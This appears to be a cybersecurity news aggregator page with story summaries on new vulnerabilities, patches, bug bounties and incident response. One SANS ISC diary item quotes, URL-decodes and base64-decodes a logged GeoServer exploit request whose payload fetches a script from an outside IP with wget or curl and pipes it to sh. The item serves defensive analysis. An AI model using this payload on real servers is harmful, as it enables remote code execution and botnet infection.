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How AI is Rewriting the Zero-Day Playbook for Preemptive SecurityRapid7 · just nowJFrog Confirms OpenAI Models Exploited Artifactory Zero-Day Before Hugging Face BreachThe Hacker News · 40m agoFrom Payments to Portfolios: How Financial Super Apps Rewrite Economics of Global InvestingHackRead · 45m agoPhishing Dominates as Initial Entry Method for Cyber-Attacks, as Hackers Hone Evasion TechniquesInfosecurity Magazine · 1h agoThe Next Evolution of MDR: Preemptive Defense and Agentic InvestigationRapid7 · 1h agoRapid7 Cyber GRC is now available: Turn security action into compliance proofRapid7 · 1h agoCritical OpenWrt DHCPv6 Flaw Could Let Unauthenticated Attackers Run Code as RootThe Hacker News · 1h agoMicrosoft Launches Flurry of AI Security Initiatives to Combat AI-Enabled ThreatsInfosecurity Magazine · 1h agoOver 24,000 exposed server BMCs leak password hash via decades-old flawBleepingComputer · 2h agoNimbus Manticore Deploys NightLedger and Turns Victim Systems Into Covert RelaysThe Hacker News · 2h agoConfidential Computing on CPU and GPU Systems: How AI Data Centers Protect Data in UseHackRead · 2h agoAxon Is Another License Plate Surveillance CompanySchneier on Security · 3h agoCoca-Cola Reveals Subsidiary Fairlife Suffered Data BreachInfosecurity Magazine · 3h agoFake IT Calls on Microsoft Teams Lead to GoGRPC Backdoor InfectionsHackRead · 3h agoNVIDIA’s Open Secure AI Alliance Is Missing Some Big NamesInfosecurity Magazine · 4h agoHow AI is Rewriting the Zero-Day Playbook for Preemptive SecurityRapid7 · just nowJFrog Confirms OpenAI Models Exploited Artifactory Zero-Day Before Hugging Face BreachThe Hacker News · 40m agoFrom Payments to Portfolios: How Financial Super Apps Rewrite Economics of Global InvestingHackRead · 45m agoPhishing Dominates as Initial Entry Method for Cyber-Attacks, as Hackers Hone Evasion TechniquesInfosecurity Magazine · 1h agoThe Next Evolution of MDR: Preemptive Defense and Agentic InvestigationRapid7 · 1h agoRapid7 Cyber GRC is now available: Turn security action into compliance proofRapid7 · 1h agoCritical OpenWrt DHCPv6 Flaw Could Let Unauthenticated Attackers Run Code as RootThe Hacker News · 1h agoMicrosoft Launches Flurry of AI Security Initiatives to Combat AI-Enabled ThreatsInfosecurity Magazine · 1h agoOver 24,000 exposed server BMCs leak password hash via decades-old flawBleepingComputer · 2h agoNimbus Manticore Deploys NightLedger and Turns Victim Systems Into Covert RelaysThe Hacker News · 2h agoConfidential Computing on CPU and GPU Systems: How AI Data Centers Protect Data in UseHackRead · 2h agoAxon Is Another License Plate Surveillance CompanySchneier on Security · 3h agoCoca-Cola Reveals Subsidiary Fairlife Suffered Data BreachInfosecurity Magazine · 3h agoFake IT Calls on Microsoft Teams Lead to GoGRPC Backdoor InfectionsHackRead · 3h agoNVIDIA’s Open Secure AI Alliance Is Missing Some Big NamesInfosecurity Magazine · 4h ago

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Real-time news from 13+ trusted sources — BleepingComputer, The Hacker News, Krebs on Security, Dark Reading & more.

VulnerabilityThe Hacker News·5d ago
Google Adds Selfie Video Recovery for Users Locked Out of Their Accounts

Google on Thursday announced a new way for users to sign-in to their accounts by letting them take a selfie video. The selfie for sign-in, per the tech giant, is another option on top of existing recovery methods to log in to an account, including an email address or a phone number. The idea is to use a video selfie as a way to regain access if a user ever gets locked out or doesn't have access

VulnerabilityThe Hacker News·5d ago
Nine-Year-Old RefluXFS Linux Flaw Gives Local Users Root on Default RHEL Installs

RefluXFS, a new Linux kernel flaw disclosed on July 22 and tracked as CVE-2026-64600, lets an unprivileged local user overwrite root-owned files on an XFS filesystem and gain persistent root access. Qualys said default installations of Red Hat Enterprise Linux and its derivatives, Fedora Server, and Amazon Linux can meet the conditions for exploitation. The company demonstrated the race

🩹 PatchThe Hacker News·5d ago
Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access

Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild. The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3), is an authentication bypass affecting the Check Point SmartConsole login process that allows an

VulnerabilityThe Hacker News·5d ago
GitHub Cuts Public Bug Bounty Payouts, Moves Top Rewards to VIP Tier

Beginning July 27, 2026, GitHub will cut public bug bounty payouts by at least half at every severity level. Critical findings will drop from $20,000-$30,000+ to a fixed $10,000, while its permanent invite-only VIP tier will pay $30,000 or more. Reports filed before that date, including those already in GitHub's growing triage queue, will retain the previous payout terms. GitHub said the

VulnerabilityThe Hacker News·5d ago
Ubuntu snap-confine Flaw Could Give Local Users Root on Default Desktop Installs

Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS score: 7.8), impacts default installations of Ubuntu Desktop 24.04, 25.10, and 26.04. The disclosure comes as

VulnerabilitySANS ISC·5d ago
Rondo Meets Geoserver, (Wed, Jul 22nd)

This isn't a new attack, but something I saw pop-up in our logs this week: GET /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ( maps ). URL decoding the URL leads to /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh') And base64 decoding the string gets us: (wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh So what we have is the good old Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns: !-- You won't find it here -- !DOCTYPE html html lang= en head meta charset= UTF-8 / or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s. --- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter | (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

🩹 PatchMicrosoft Security·5d ago
Real world incident response: Microsoft and AXA XL strengthen cyber resilience

Cyber incidents don’t wait—and effective response can’t either. In the age of AI where cyber incidents unfold at machine speed, having the right partnerships in place becomes paramount. While AI is expanding what’s possible, navigating this transformation can be challenging to do alone. That’s why our collaboration with AXA XL is so important—bringing Microsoft Defender Experts Cybersecurity Incident Response services directly to cyber insurance policyholders at the moment it matters most, helping organizations coordinate technical, business, and insurance decisions in parallel rather than in sequence. Get started with Microsoft Defender Experts Cybersecurity Incident Response This collaboration reflects Microsoft’s continued investment in building an incident response model designed for real-world conditions, where speed, trust, and alignment matter as much as technology. In a live incident, security, executive, legal, and insurance teams are all acting at once. Without pre-established coordination, those parallel efforts can slow containment and increase risk. Our approach to incident response—and our work with AXA XL —starts by aligning those paths before a crisis begins. For example, during a ransomware incident, security teams may be actively containing lateral movement while leadership evaluates operational impact, legal teams assess disclosure requirements, and insurers determine coverage pathways—all within the same window of time. When those decisions aren’t aligned, response slows and risk compounds. Decades of supporting customers through high-stakes cyber incidents have reinforced a clear truth: effective incident response extends beyond technical execution. It requires coordination across teams and partners before the crisis hits. That experience continues to shape how we design Defender Experts Cybersecurity Incident Response—and how we work with partners like AXA XL. Incident response must extend beyond technology As a global insurance provider, AXA XL plays a critical role in helping organizations navigate cyber risk and response. Through this collaboration, AXA XL policyholders gain coordinated access to Microsoft’s dedicated incident response teams—combining threat containment, restoration, and recovery with insurance, legal, and regulatory workflows. By aligning AXA XL’s cyber insurance capabilities with Defender Experts Cybersecurity Incident Response, organizations benefit from a more integrated response model while gaining access to incident response teams informed by Microsoft Threat Intelligence and two decades of experience responding to some of the world’s most complex and consequential cyber incidents. Previously, organizations often brought incident responders and insurers together in the middle of a crisis. With this collaboration, that relationship is already in place, reducing friction, delays, and uncertainty when time is most critical. AXA XL policyholders and Microsoft customers can now bring De